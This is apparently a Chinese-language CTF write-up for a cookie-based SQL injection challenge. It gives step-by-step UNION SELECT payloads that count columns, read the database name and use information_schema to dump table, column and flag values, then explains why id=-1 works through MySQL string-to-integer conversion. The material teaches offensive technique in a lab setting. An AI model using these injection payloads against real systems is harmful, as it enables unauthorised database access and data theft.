一、解题步骤
(1)题目为cookie注入,我们首先先看一下cookie里的值有没有什么可以帮助我们思考的东西,id=1,很明显存在sql注入
(2)我们抓包来一步步的进行注入会更方便一些
我们用order by 语句来排序查询数据库有几行
(1,2都可以回显,直到3时无法回显,说明数据库有两行)
id=1 order by 3;
(3)接下来用联合查询语句union select语句来注入,从而判断显示位,同时也是判断注入点,可以看到位置2可以插入SQL语句。
(回显Data:2 注入成功)
id=-1 union select 1,2;
(4)接下来用union select database()来占2的位置进而来注入爆破数据库,获取当前数据库名称和相关信息
id=-1 union select 1,database();
回显Data:sqli,拿到当前数据库名
(5)接下来获取数据库sqli的表名
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli';
(6)接下来获取数据表fcofekwtif中的字段名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='fcofekwtif';
(7)接下来获取字段名mjdjlycgjw的值
id=-1 union select 1,group_concat(mjdjlycgjw) from fcofekwtif ;
二、关于sql中‘id=多少’的说明
这里很多刚入门的小伙伴会觉得为什么我的id要等于-1,这里我也只能给出我自己的解释,还希望大佬们多多指教
1.经过查阅资料得知,数据库中id的数据类型设置为int(数值类型)就会出现这种情况
如果数据库检查到id的参数并不为数值的话,就会发生类型转换(很简单粗暴的类型转换)
2.本题ID=1,我想注入的时候就不能再注ID=1了
(不然回显就一直是ctfhub)
3.用联合查询语句union select语句来注入,从而判断显示位,同时也是判断注入点,此时要先保证之前的数据查不出来才能判断注入位置,不然就会一直在注入当前的数据库,无法注入新的值来判断注入点,之后再union select id=-1数据不存在数据库中,可以看到位置2可以插入SQL语句。
3.本题我把id等于字符串’-1’同样可以达到成功注入,因为会被转化为-1
4.同样id=‘-1 and 1=1’也可以被识别为-1,成功注入
5.id=’-1 and 1=2’也会被识别为-1,成功注入
6.以此类推,id只要不等于1,都可以注入成功
总结一下:
比如字符串’1’会被转换为1
比如字符串’1"'会被转换为1
比如’1 and 1=1’会被识别为1
比如’1 and 1=2’会被识别为1
比如’1akbucbdadbaiudadbabdaud’会被识别为1
比如’23adasuasdai32ansoiha’会被识别为23
字符串中数字后面的字符可以是任意的,类型转换时都会被忽略,不会对数值有任何的影响
————————————————